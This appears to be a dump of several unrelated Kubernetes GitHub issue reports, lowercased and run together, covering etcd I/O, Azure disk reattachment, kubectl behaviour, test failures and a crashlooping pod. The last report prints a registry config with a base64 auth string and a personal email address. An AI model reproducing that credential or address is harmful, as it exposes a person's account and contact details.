%  0.00 %  migration/0 \r     8 be/4 root        0.00 b/s    0.00 b/s  0.00 %  0.00 %  rcu_bh \r     9 be/4 root        0.00 b/s    0.00 b/s  0.00 %  0.00 %  rcu_sched \r    10 be/0 root        0.00 b/s    0.00 b/s  0.00 %  0.00 %  lru-add-drain \r    11 rt/4 root        0.00 b/s    0.00 b/s  0.00 %  0.00 %  watchdog/0 \r    12 rt/4 root        0.00 b/s    0.00 b/s  0.00 %  0.00 %  watchdog/1 \r    13 rt/4 root        0.00 b/s    0.00 b/s  0.00 %  0.00 %  migration/1 \r    \r    \r ll /proc/20557/fd | grep -v socket\r \r lr-x------ 1 root root 64 8月  10 17:26 0 -> pipe: 182098526 \r l-wx------ 1 root root 64 8月  10 17:26 1 -> pipe: 182098527 \r l-wx------ 1 root root 64 8月  10 17:26 13 -> /var/lib/rancher/etcd/member/wal/0000000000000075-00000000003fccd7.wal\r l-wx------ 1 root root 64 8月  10 17:26 2 -> pipe: 182098528 \r lrwx------ 1 root root 64 8月  10 17:26 4 -> anon_inode: eventpoll \r lrwx------ 1 root root 64 8月  10 17:26 6 -> /var/lib/rancher/etcd/member/snap/db\r l-wx------ 1 root root 64 8月  10 17:26 7 -> /var/lib/rancher/etcd/member/wal/0.tmp\r lr-x------ 1 root root 64 8月  10 17:26 8 -> /var/lib/rancher/etcd/member/wal\r \r    \r    \r /   etcd -v\r 2018-08-10 09:54:16.641264 w | pkg/flags: flag \ -v\  is no longer supported - ignoring.\r 2018-08-10 09:54:16.641523 i | etcdmain: etcd version: 3.1.12\r 2018-08-10 09:54:16.641539 i | etcdmain: git sha: 918698add\r 2018-08-10 09:54:16.641548 i | etcdmain: go version: go1.8.7\r 2018-08-10 09:54:16.641560 i | etcdmain: go os/arch: linux/amd64\r 2018-08-10 09:54:16.641570 i | etcdmain: setting maximum number of cpus to 2, total number of available cpus is 2\r 2018-08-10 09:54:16.641586 w | etcdmain: no data-dir provided, using default data-dir ./default.etcd\r 2018-08-10 09:54:16.642672 c | etcdmain: listen tcp 127.0.0.1:2380: bind: address already in use\r \r    \r    \r  root@node128 ssl   kubectl version\r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.0\ , gitcommit:\ 91e7b4fd31fcd3d5f436da26c980becec37ceefe\ , gittreestate:\ clean\ , builddate:\ 2018-06-27t20:17:28z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.5\ , gitcommit:\ 32ac1c9073b132b8ba18aa830f46b77dcceb0723\ , gittreestate:\ clean\ , builddate:\ 2018-06-21t11:34:22z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r    \r    \r \r  root@node128 ssl   docker version\r client:\r  version:         1.13.1\r  api version:     1.26\r  package version: docker-1.13.1-63.git94f4240.el7.centos.x86_64\r  go version:      go1.9.4\r  git commit:      94f4240/1.13.1\r  built:           fri may 18 15:44:33 2018\r  os/arch:         linux/amd64\r \r server:\r  version:         1.13.1\r  api version:     1.26  minimum version 1.12 \r  package version: docker-1.13.1-63.git94f4240.el7.centos.x86_64\r  go version:      go1.9.4\r  git commit:      94f4240/1.13.1\r  built:           fri may 18 15:44:33 2018\r  os/arch:         linux/amd64\r  experimental:    false\r \r    \r \r why the etcd has so high io write,and how to solve it?

what happened  :\r - restart pod using azure disk\r - according to controller-manager, disk is successfully detached from /dev/sdc\r - pod is rescheduled to the same node\r - according to controller-manager, disk is reattached to the same node at /dev/sdd\r - pod is started while /dev/disk/azure/scsi1/lun0 points to /dev/sdc\r - disk is  actually  detached from /dev/sdc and reattached to /dev/sdd\r - pod gets i/o errors\r \r   what you expected to happen  : pod doesn't get i/o errors\r \r   how to reproduce it  as minimally and precisely as possible   :\r - create a pod using an azure disk and fix its nodename\r - restart it every ~minute or 2 until it crashes\r \r   anything else we need to know?  : similar to https://github.com/kubernetes/kubernetes/issues/71453 except there is only one disk in this scenario.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.11.x\r - cloud provider or hardware configuration: azure\r \r @andyzhangx our current theory is that the attach and detach calls are asynchronous https://github.com/kubernetes/kubernetes/blob/master/pkg/cloudprovider/providers/azure/azure_controller_standard.go l84, so even though controller reports that detach->reattach succeeded azure doesn't actually detach->reattach until after kubelet has already mounted the volume, which it does because the volume has the same lun https://github.com/openshift/origin/blob/release-3.11/vendor/k8s.io/kubernetes/pkg/volume/azure_dd/attacher.go l182. is this scenario possible?

when try to use  kubectl exec  for the pods on the master node, got below error message:      error: unable to upgrade connection: 404 page not found      after did a bit searching, found this related issue:  29480, saying that on the master kubelet is running with  --enable-debugging-handlers=false   if  kubectl exec  is not allowed on master, could we make the error message clear?

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : same host name\r \r ---\r \r   is this a bug report or feature request?    choose one : bug\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : \r client version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.0-alpha.0.760+4dd0320db7cd3d-dirty\ , gitcommit:\ 4dd0320db7cd3df7b21a24efb13dabf662e73d4d\ , gittreestate:\ dirty\ , builddate:\ 2016-11-22t07:29:40z\ , goversion:\ go1.7.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.0-alpha.0.760+4dd0320db7cd3d-dirty\ , gitcommit:\ 4dd0320db7cd3df7b21a24efb13dabf662e73d4d\ , gittreestate:\ dirty\ , builddate:\ 2016-11-22t07:29:40z\ , goversion:\ go1.7.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release : \r name=\ ubuntu\ \r version=\ 16.04.1 lts  xenial xerus \ \r \r -   kernel    e.g.  uname -a  :\r linux freeworld 4.4.0-47-generic  68-ubuntu smp wed oct 26 19:39:52 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  :\r -   others  :\r i used my laptop as the master and node, and used a virtualbox machine installed the same os as a the other node.  \r \r   what happened  :\r i set the same host name --hostname-override=k8s-node1-192.168.0.105  in kubelet startup argument on both of two nodes by mistake.  both of them successfully registered on the master.  if create a rc with replicas equal 2, you will see both of nodes have duplicate ones.  there are two pods on each node and the pods identical.  by the way if run \ kubectl get no\ , it will show only one node.\r \r   what you expected to happen  :\r i think if there is a host name conflict, kubelet should fail to registered.  it means new node cannot be added in cluster. \r \r   how to reproduce it    as minimally and precisely as possible :\r 1. set same host name using hostname-override to start kubelet on two nodes.\r 2. create a rc and schedule to those two nodes.\r 3. run \ docker ps\  on those two nodes to check result. \r \r   anything else do we need to know  :\r \r

failed: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-kops-aws-updown/233/  run so broken it didn't make junit output!

kubernetes version    use  kubectl version  :\r \r   what happened  :\r hi all, i found that right now almost all in-tree volume plugins  maybe except iscsi and rbd  would call cloud provider to do volume discovery before mounting it to container. but imaging this use case, if user wants to use ebs to provide storage resource but insists on deploying k8s on bare metal, then you cannot attach volume to host since no cloud provider exists on the host server.\r \r   what you expected to happen  :\r to solve this problem, here is a proposal that creates a standalone project in k8s that acts as a lib providing volume discovery and local management. the reason why set it up as a standalone project is that in this way it can also serve for csi plugin and even any other storage systems written in go.\r \r   anything else we need to know  :\r if you want to know more information, please refer to this pr link:   713  https://github.com/kubernetes/community/pull/713 .\r \r

@kubernetes/sig-network-services\r it would be great if there was an option for service packets to retain their origin ip address. this could be done in a channel manner, where the service endpoint receives a packet, puts it on a channel to the destination node, the destination node takes it off the channel and gives it to the destination container, all without changing the origin address.\r \r i'm very illiterate on systems like this but this seems quite feasible, except if i'm missing something. of course there would be overhead but being able to retain ip address on your packets seems useful to me and probably a lot of users + this would be a non-default service type.

\r ==================\r warning: data race\r read at 0x00c42075e570 by goroutine 84:\r   reflect.maplen  \r       /root/.cache/bazel/_bazel_root/e9f728bbd90b3fba632eb31b20e1dacd/external/go1_8_3_linux_amd64/src/runtime/hashmap.go:1165 +0x0\r   reflect.value.len  \r       /root/.cache/bazel/_bazel_root/e9f728bbd90b3fba632eb31b20e1dacd/external/go1_8_3_linux_amd64/src/reflect/value.go:1024 +0x22c\r   reflect.deepvalueequal  \r       /root/.cache/bazel/_bazel_root/e9f728bbd90b3fba632eb31b20e1dacd/external/go1_8_3_linux_amd64/src/reflect/deepequal.go:110 +0xc36\r   reflect.deepvalueequal  \r       /root/.cache/bazel/_bazel_root/e9f728bbd90b3fba632eb31b20e1dacd/external/go1_8_3_linux_amd64/src/reflect/deepequal.go:101 +0x7fe\r   reflect.deepvalueequal  \r       /root/.cache/bazel/_bazel_root/e9f728bbd90b3fba632eb31b20e1dacd/external/go1_8_3_linux_amd64/src/reflect/deepequal.go:101 +0x7fe\r   reflect.deepvalueequal  \r       /root/.cache/bazel/_bazel_root/e9f728bbd90b3fba632eb31b20e1dacd/external/go1_8_3_linux_amd64/src/reflect/deepequal.go:98 +0x11ad\r   reflect.deepequal  \r       /root/.cache/bazel/_bazel_root/e9f728bbd90b3fba632eb31b20e1dacd/external/go1_8_3_linux_amd64/src/reflect/deepequal.go:190 +0x2bb\r   k8s.io/client-go/tools/cache/go_default_test.  defaultcachemutationdetector .compareobjects  \r       vendor/k8s.io/client-go/tools/cache/mutation_detector.go:119 +0x13c\r   k8s.io/client-go/tools/cache/go_default_test.  defaultcachemutationdetector .run  \r       vendor/k8s.io/client-go/tools/cache/mutation_detector.go:83 +0x50\r   k8s.io/client-go/tools/cache/go_default_test. cachemutationdetector .run-fm  \r       vendor/k8s.io/client-go/tools/cache/shared_informer.go:212 +0x50\r   k8s.io/apimachinery/pkg/util/wait.  group .startwithchannel.func1  \r       vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:54 +0x45\r   k8s.io/apimachinery/pkg/util/wait.  group .start.func1  \r       vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:71 +0x5c\r \r previous write at 0x00c42075e570 by goroutine 22:\r   runtime.mapassign  \r       /root/.cache/bazel/_bazel_root/e9f728bbd90b3fba632eb31b20e1dacd/external/go1_8_3_linux_amd64/src/runtime/hashmap.go:485 +0x0\r   k8s.io/client-go/tools/cache/go_default_test.testmutationdetector  \r       vendor/k8s.io/client-go/tools/cache/mutation_detector_test.go:75 +0x8a4\r   testing.trunner  \r       /root/.cache/bazel/_bazel_root/e9f728bbd90b3fba632eb31b20e1dacd/external/go1_8_3_linux_amd64/src/testing/testing.go:657 +0x107\r \r goroutine 84  running  created at:\r   k8s.io/apimachinery/pkg/util/wait.  group .start  \r       vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:72 +0x6f\r   k8s.io/apimachinery/pkg/util/wait.  group .startwithchannel  \r       vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:55 +0xd2\r   k8s.io/client-go/tools/cache/go_default_test.  sharedindexinformer .run  \r       vendor/k8s.io/client-go/tools/cache/shared_informer.go:212 +0x6fe\r \r goroutine 22  running  created at:\r   testing.  t .run  \r       /root/.cache/bazel/_bazel_root/e9f728bbd90b3fba632eb31b20e1dacd/external/go1_8_3_linux_amd64/src/testing/testing.go:697 +0x543\r   testing.runtests.func1  \r       /root/.cache/bazel/_bazel_root/e9f728bbd90b3fba632eb31b20e1dacd/external/go1_8_3_linux_amd64/src/testing/testing.go:882 +0xaa\r   testing.trunner  \r       /root/.cache/bazel/_bazel_root/e9f728bbd90b3fba632eb31b20e1dacd/external/go1_8_3_linux_amd64/src/testing/testing.go:657 +0x107\r   testing.runtests  \r       /root/.cache/bazel/_bazel_root/e9f728bbd90b3fba632eb31b20e1dacd/external/go1_8_3_linux_amd64/src/testing/testing.go:888 +0x4e0\r   testing.  m .run  \r       /root/.cache/bazel/_bazel_root/e9f728bbd90b3fba632eb31b20e1dacd/external/go1_8_3_linux_amd64/src/testing/testing.go:822 +0x1c3\r   main.main  \r       bazel-out/local-fastbuild/bin/vendor/k8s.io/client-go/tools/cache/go_default_test_main_test.go:182 +0x24f\r ==================\r ==================\r warning: data race\r read at 0x00c420798758 by goroutine 83:\r   k8s.io/apimachinery/pkg/apis/meta/v1.  objectmeta .deepcopyinto  \r       vendor/k8s.io/apimachinery/pkg/apis/meta/v1/zz_generated.deepcopy.go:812 +0xbc7\r   k8s.io/api/core/v1.  pod .deepcopyinto  \r       vendor/k8s.io/api/core/v1/zz_generated.deepcopy.go:3804 +0x124\r   k8s.io/api/core/v1.registerdeepcopies.func104  \r       vendor/k8s.io/api/core/v1/zz_generated.deepcopy.go:454 +0x61\r   k8s.io/apimachinery/pkg/conversion.  cloner .deepcopy  \r       vendor/k8s.io/apimachinery/pkg/conversion/cloner.go:153 +0x2e9\r   k8s.io/apimachinery/pkg/conversion.  cloner .deepcopy  \r       vendor/k8s.io/apimachinery/pkg/conversion/cloner.go:130 +0x81\r   k8s.io/apimachinery/pkg/runtime.  scheme .deepcopy  \r       vendor/k8s.io/apimachinery/pkg/runtime/scheme.go:434 +0x66\r   k8s.io/apimachinery/pkg/runtime.  scheme .copy  \r       vendor/k8s.io/apimachinery/pkg/runtime/scheme.go:425 +0x59\r   k8s.io/client-go/tools/cache/go_default_test.  defaultcachemutationdetector .addobject  \r       vendor/k8s.io/client-go/tools/cache/mutation_detector.go:103 +0x115\r   k8s.io/client-go/tools/cache/go_default_test.  sharedindexinformer .handledeltas  \r       vendor/k8s.io/client-go/tools/cache/shared_informer.go:346 +0x29b\r   k8s.io/client-go/tools/cache/go_default_test.  sharedindexinformer .handledeltas-fm  \r       vendor/k8s.io/client-go/tools/cache/shared_informer.go:195 +0x55\r   k8s.io/client-go/tools/cache/go_default_test.  deltafifo .pop  \r       vendor/k8s.io/client-go/tools/cache/delta_fifo.go:451 +0x3de\r   k8s.io/client-go/tools/cache/go_default_test.  controller .processloop  \r       vendor/k8s.io/client-go/tools/cache/controller.go:150 +0x70\r   k8s.io/client-go/tools/cache/go_default_test.  controller . k8s.io/client-go/tools/cache/go_default_test.processloop -fm  \r       vendor/k8s.io/client-go/tools/cache/controller.go:124 +0x41\r   k8s.io/apimachinery/pkg/util/wait.jitteruntil.func1  \r       vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:133 +0x6f\r   k8s.io/apimachinery/pkg/util/wait.jitteruntil  \r       vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:134 +0xcd\r   k8s.io/apimachinery/pkg/util/wait.until  \r       vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:88 +0x5a\r   k8s.io/client-go/tools/cache/go_default_test.  controller .run  \r       vendor/k8s.io/client-go/tools/cache/controller.go:124 +0x430\r   k8s.io/client-go/tools/cache/go_default_test.  sharedindexinformer .run  \r       vendor/k8s.io/client-go/tools/cache/shared_informer.go:220 +0x803\r \r previous write at 0x00c420798758 by goroutine 22:\r   k8s.io/client-go/tools/cache/go_default_test.testmutationdetector  \r       vendor/k8s.io/client-go/tools/cache/mutation_detector_test.go:75 +0x8bd\r   testing.trunner  \r       /root/.cache/bazel/_bazel_root/e9f728bbd90b3fba632eb31b20e1dacd/external/go1_8_3_linux_amd64/src/testing/testing.go:657 +0x107\r \r goroutine 83  running  created at:\r   k8s.io/client-go/tools/cache/go_default_test.testmutationdetector  \r       vendor/k8s.io/client-go/tools/cache/mutation_detector_test.go:67 +0x782\r   testing.trunner  \r       /root/.cache/bazel/_bazel_root/e9f728bbd90b3fba632eb31b20e1dacd/external/go1_8_3_linux_amd64/src/testing/testing.go:657 +0x107\r \r goroutine 22  running  created at:\r   testing.  t .run  \r       /root/.cache/bazel/_bazel_root/e9f728bbd90b3fba632eb31b20e1dacd/external/go1_8_3_linux_amd64/src/testing/testing.go:697 +0x543\r   testing.runtests.func1  \r       /root/.cache/bazel/_bazel_root/e9f728bbd90b3fba632eb31b20e1dacd/external/go1_8_3_linux_amd64/src/testing/testing.go:882 +0xaa\r   testing.trunner  \r       /root/.cache/bazel/_bazel_root/e9f728bbd90b3fba632eb31b20e1dacd/external/go1_8_3_linux_amd64/src/testing/testing.go:657 +0x107\r   testing.runtests  \r       /root/.cache/bazel/_bazel_root/e9f728bbd90b3fba632eb31b20e1dacd/external/go1_8_3_linux_amd64/src/testing/testing.go:888 +0x4e0\r   testing.  m .run  \r       /root/.cache/bazel/_bazel_root/e9f728bbd90b3fba632eb31b20e1dacd/external/go1_8_3_linux_amd64/src/testing/testing.go:822 +0x1c3\r   main.main  \r       bazel-out/local-fastbuild/bin/vendor/k8s.io/client-go/tools/cache/go_default_test_main_test.go:182 +0x24f\r ==================\r cache name 0  altered!\r {\ metadata\ :{\ name\ :\ anything\ ,\ creationtimestamp\ :null,\ labels\ :{\ ch\r \r a: ange\ :\ true\ ,\ check\ :\ foo\ }},\ spec\ :{\ containers\ :null},\ status\ :{}}\r \r b: eck\ :\ foo\ }},\ spec\ :{\ containers\ :null},\ status\ :{}}\r \r \r --- fail: testmutationdetector  1.01s \r \ttesting.go:610: race detected during execution of test\r e0816 21:19:02.729741       9 reflector.go:377  testing/testing.go:657: expected type  v1.pod, but watch event object had type  v1.service\r e0816 21:19:02.732538       9 reflector.go:313  testing/testing.go:657: failed to watch  v1.pod: second watch\r e0816 21:19:02.732977       9 reflector.go:313  testing/testing.go:657: failed to watch  v1.pod: second watch\r e0816 21:19:02.733936       9 reflector.go:313  testing/testing.go:657: failed to watch  v1.pod: a watch error\r e0816 21:19:02.735103       9 reflector.go:313  testing/testing.go:657: failed to watch  v1.pod: second watch\r polling\r listener2: handle: pod1\r listener1: handle: pod1\r listener2: handle: pod2\r listener1: handle: pod2\r listener3: handle: pod1\r listener3: handle: pod2\r sleeping\r final check\r polling\r sleeping\r final check\r polling\r sleeping\r final check\r polling\r listener2: handle: pod1\r listener2: handle: pod2\r sleeping\r final check\r polling\r listener3: handle: pod1\r listener3: handle: pod2\r sleeping\r final check\r fail\r use --strategy=testrunner=standalone to disable sandboxing for the failing actions.\r

/ /  /status approved-for-milestone\r /area platform/gke\r @kubernetes/sig-scheduling-test-failures\r owns the tests\r @kubernetes/sig-cluster-lifecycle-test-failures\r this is passing in other jobs so i'm pinging the job owner\r @kubernetes/sig-gcp-test-failures \r this looks gke specific\r \r these test has been failing since at least 2017-11-13 for the  gke-gci-1.8-gci-master-upgrade-cluster-new  https://k8s-testgrid.appspot.com/sig-release-master-upgrade gke-gci-1.8-gci-master-upgrade-cluster-new  job, which is on the  sig-release-master-upgrade dashboard  https://k8s-testgrid.appspot.com/sig-release-master-upgrade , and prevents us from cutting v1.9.0-beta.1  kubernetes/sig-release 34 . is there work ongoing to bring these tests back to green?\r \r  triage report  https://storage.googleapis.com/k8s-gubernator/triage/index.html?job=ci-kubernetes-e2e-gke-gci-new-gci-master-upgrade-cluster-new&test=%5c%5bsig-scheduling%5c%5d%20resourcequota%20should%20create%20a%20resourcequota%20and%20capture%20the%20life%20of%20a \r \r  triage cluster 3d2a887b26f025c4d4c8  https://storage.googleapis.com/k8s-gubernator/triage/index.html 3d2a887b26f025c4d4c8 \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduling/resource_quota.go:420\r expected error:\r     < errors.statuserror | 0xc421897290>: {\r         errstatus: {\r             typemeta: {kind: \ \ , apiversion: \ \ },\r             listmeta: {selflink: \ \ , resourceversion: \ \ , continue: \ \ },\r             status: \ failure\ ,\r             message: \ configmaps \\\ test-configmap\\\  is forbidden: status unknown for quota: test-quota\ ,\r             reason: \ forbidden\ ,\r             details: {\r                 name: \ test-configmap\ ,\r                 group: \ \ ,\r                 kind: \ configmaps\ ,\r                 uid: \ \ ,\r                 causes: nil,\r                 retryafterseconds: 0,\r             },\r             code: 403,\r         },\r     }\r     configmaps \ test-configmap\  is forbidden: status unknown for quota: test-quota\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduling/resource_quota.go:436\r    \r \r sample failure: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-new-gci-master-upgrade-cluster-new/1512

packages should create their own testapis rather than depending on globals\r   the package should not depend on os.env\r \r  

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   report  :\r \r  \r   what happened  :\r \r when running the cluster e2e tests the subset   basic statefulset functionality  statefulsetbasic   is flaky. it sometimes includes the failure of some conformance tests.\r \r here is the result of my last test run:\r    \r summarizing 3 failures:\r \r  fail   sig-apps  statefulset  k8s.io  basic statefulset functionality  statefulsetbasic   it  should not deadlock when a pod's predecessor fails\r /go/src/github.com/docker/kube-e2e-image/vendor/k8s.io/kubernetes/test/e2e/framework/statefulset_utils.go:323\r \r  fail   sig-apps  statefulset  k8s.io  basic statefulset functionality  statefulsetbasic   it  should adopt matching orphans and release non-matching pods\r /go/src/github.com/docker/kube-e2e-image/vendor/k8s.io/kubernetes/test/e2e/framework/statefulset_utils.go:323\r \r  fail   sig-apps  statefulset  k8s.io  basic statefulset functionality  statefulsetbasic   it  should provide basic identity\r /go/src/github.com/docker/kube-e2e-image/vendor/k8s.io/kubernetes/test/e2e/framework/statefulset_utils.go:323\r \r ran 9 of 995 specs in 3083.689 seconds\r fail! -- 6 passed | 3 failed | 0 pending | 986 skipped\r --- fail: teste2e  3083.91s \r    \r \r full test log:  statefulsetbasic-flaky.log  https://github.com/kubernetes/kubernetes/files/2405225/statefulsetbasic-flaky.log \r \r   what you expected to happen  :\r \r the test should pass\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r kubernetes v1.11.2\r    \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.7\ , gitcommit:\ dd5e1a2978fd0b97d9b78e1564398aeea7e7fe92\ , gittreestate:\ clean\ , builddate:\ 2018-04-19t00:05:56z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.2\ , gitcommit:\ bb9ffb1654d4a729bb4cec18ff088eacc153c239\ , gittreestate:\ clean\ , builddate:\ 2018-08-07t23:08:19z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r no cloud provider configured\r 3 nodes cluster on aws c4.xlarge vm / us-west-2 region\r - os  e.g. from /etc/os-release :\r    \r ubuntu 16.04.5 lts  xenial xerus \r    \r - kernel  e.g.  uname -a  :\r    \r linux jcsirot-testkit-34hnlk-ubuntu-1 4.4.0-1067-aws  77-ubuntu smp mon aug 27 13:22:03 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r    \r

what happened  :\r \r i do  kubectl logs --tail 1 --selector run=foo .\r \r i see the last 10 lines of output of each pod matching  run=foo .\r \r   what you expected to happen  :\r \r i was expecting to see only the last line of output of each pod.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r kubectl run clock --image=jpetazzo/clock --replicas=2\r sleep 3\r kubectl logs --tail 1 --selector run=clock\r    \r \r the  jpetazzo/clock  image prints the date every second.\r \r normally we should just see two lines of output; instead we see 20.\r \r \r   anything else we need to know?  :\r \r this seems to be a regression in kubernetes 1.12, as this worked correctly from 1.8 to 1.11.\r \r  i observed this problem starting with k8s 1.12.0 and it's still present in 1.12.2 \r \r   environment  :\r \r - kubernetes version  use  kubectl version  : 1.12.2\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : ubuntu\r - kernel  e.g.  uname -a  : 4.4.0\r - install tools: kubeadm\r - others:\r \r <!-- do not edit below this line -->\r 

i am looking and looking at the code for pkg/registry/service/ipallocator/controller/repair.go, and i am having a hard time proving to myself that it is correct.  we have etcd configured to read in 'weakly consistent' mode.  as @smarterclayton and @lavalamp  previously explained to me  thanks!  that is not a problem, because any writes are done as a cas with the version.  we might see stale data, and derive stale data from that, but we won't ever be able to write stale data.  however, i am worried that i can construct what appears to be possible etcd-partition states that an inconsistent read won't catch.  i'm basing this on this issue https://github.com/coreos/etcd/issues/741, in particular that raft/etcd allows a node to believe itself the leader while another leader has been elected.  for example, support i have one service, s1, with one ip at t0: 1.1.1.1  then i change s1's ip at t1: 2.2.2.2.  so our ip allocation map should go from  1.1.1.1  ->  2.2.2.2   but suppose we had a partition event in etcd just before t1.  at t0, node 1 believes itself to be the leader.  at the partition event, nodes 2 and 3 elect node 2 to be the leader.  node 1 still believes itself to be the leader at t1  though its days are numbered , and will answer inconsistent reads.  but node 1 has not seen s1's change from 1.1.1.1 -> 2.2.2.2.  now, at t2 the repair process does the following:  reads the services from node 1: { s1= 1.1.1.1  } reads the node map from node 2: {  2.2.2.2  } builds a new node map: {  1.1.1.1  } writes the new node map back to node 2: {  1.1.1.1  } and now  2.2.2.2  can be re-allocated to another service, despite the fact that s1 has it allocated.  moreover, i think that not only can this happen with a double-leader partition, but it can happen simply if node 1 is lagging  no partitions behind the leader  when go-etcd is doing weakly consistent reads.  in short, i think we need etcd do consistent reads.  and then we _also_ need to do further checks to detect partitions: i think the partition scenario could be caught because the node map in node would be newer than the newest service.  is this in fact possible?  or is there some etcd/versioning mechanism i am missing?

our standard salt-based startup scripts start etcd & kube-apiserver without any memory limit. etcd is capable of using enough memory to make the vm start swapping, and in that case it becomes just about impossible to ssh in and figure out what is wrong. we should set a memory limit so that only etcd ooms instead of making the entire system oom.  kube-apiserver should get the same treatment.

hello!  i have a working installation with kubernetes 1.1.1 running on debian  i also have a private registry working nice running in v2 ..  i am facing a weird problem.  defining a pod in master  apiversion: v1 kind: pod metadata:   name: nginx   labels:     app: nginx spec:   containers:     - name: nginx       image: docker-registry.hiberus.com:5000/debian:ssh   imagepullsecrets:     - name: myregistrykey  i also have the secret on my master myregistrykey         kubernetes.io/dockercfg               1         44m  and my config.json is made this way  {     \ auths\ : {         \ https://docker-registry.hiberus.com:5000\ : {             \ auth\ : \ annhdxjhompzyxvyyq==\ ,             \ email\ : \ jsaura@heraldo.es\          }     } }  and so i did the base64 and created my secret.  simple as hell  on my node the image gets pulled without any problem  docker images repository                                tag                 image id            created             virtual size docker-registry.hiberus.com:5000/debian   ssh                 3b332951c107        29 minutes ago      183.3 mb golang                                    1.4                 2819d1d84442        7 days ago          562.7 mb debian                                    latest              91bac885982d        8 days ago          125.1 mb gcr.io/google_containers/pause            0.8.0               2c40b0526b63        7 months ago        241.7 kb  but my container does not start   ./kubectl describe pod nginx name:               nginx namespace:          default image s :           docker-registry.hiberus.com:5000/debian:ssh node:               192.168.29.122/192.168.29.122 start time:         wed, 18 nov 2015 17:08:53 +0100 labels:             app=nginx status:             running reason: message: ip:             172.17.0.2 replication controllers:    <none> containers:   nginx:     container id:       docker://3e55ab118a3e5d01d3c58361abb1b23483d41be06741ce747d4c20f5abfeb15f     image:          docker-registry.hiberus.com:5000/debian:ssh     image id:           docker://3b332951c1070ba2d7a3bb439787a8169fe503ed8984bcefd0d6c273d22d4370     state:          waiting       reason:           crashloopbackoff     last termination state: terminated       reason:           error       exit code:        0       started:          wed, 18 nov 2015 17:08:59 +0100       finished:         wed, 18 nov 2015 17:08:59 +0100     ready:          false     restart count:      2     environment variables: conditions:   type      status   ready     false volumes:   default-token-ha0i4:     type:   secret  a secret that should populate this volume      secretname: default-token-ha0i4 events:   firstseen lastseen    count   from                subobjectpath               reason      message   ─────────   ────────    ───── ────                ─────────────             ──────      ───────   16s       16s     1   {kubelet 192.168.29.122}    implicitly required container pod   created     created with docker id 4a063be27162   16s       16s     1   {kubelet 192.168.29.122}    implicitly required container pod   pulled      container image \ gcr.io/google_containers/pause:0.8.0\  already present on machine   16s       16s     1   {kubelet 192.168.29.122}    implicitly required container pod   started     started with docker id 4a063be27162   16s       16s     1   {kubelet 192.168.29.122}    spec.containers{nginx}          pulling     pulling image \ docker-registry.hiberus.com:5000/debian:ssh\    15s       15s     1   {scheduler }                                scheduled   successfully assigned nginx to 192.168.29.122   11s       11s     1   {kubelet 192.168.29.122}    spec.containers{nginx}          created     created with docker id 36df2dc8b999   11s       11s     1   {kubelet 192.168.29.122}    spec.containers{nginx}          pulled      successfully pulled image \ docker-registry.hiberus.com:5000/debian:ssh\    11s       11s     1   {kubelet 192.168.29.122}    spec.containers{nginx}          started     started with docker id 36df2dc8b999   10s       10s     1   {kubelet 192.168.29.122}    spec.containers{nginx}          pulled      container image \ docker-registry.hiberus.com:5000/debian:ssh\  already present on machine   10s       10s     1   {kubelet 192.168.29.122}    spec.containers{nginx}          created     created with docker id 3e55ab118a3e   10s       10s     1   {kubelet 192.168.29.122}    spec.containers{nginx}          started     started with docker id 3e55ab118a3e   5s        5s      1   {kubelet 192.168.29.122}    spec.containers{nginx}          backoff     back-off restarting failed docker container  it loops internally trying to start but it never does  the weird thing is that if y do a run command on my node manually the container starts without any problem, but using the pod pulls the image but never starts ..  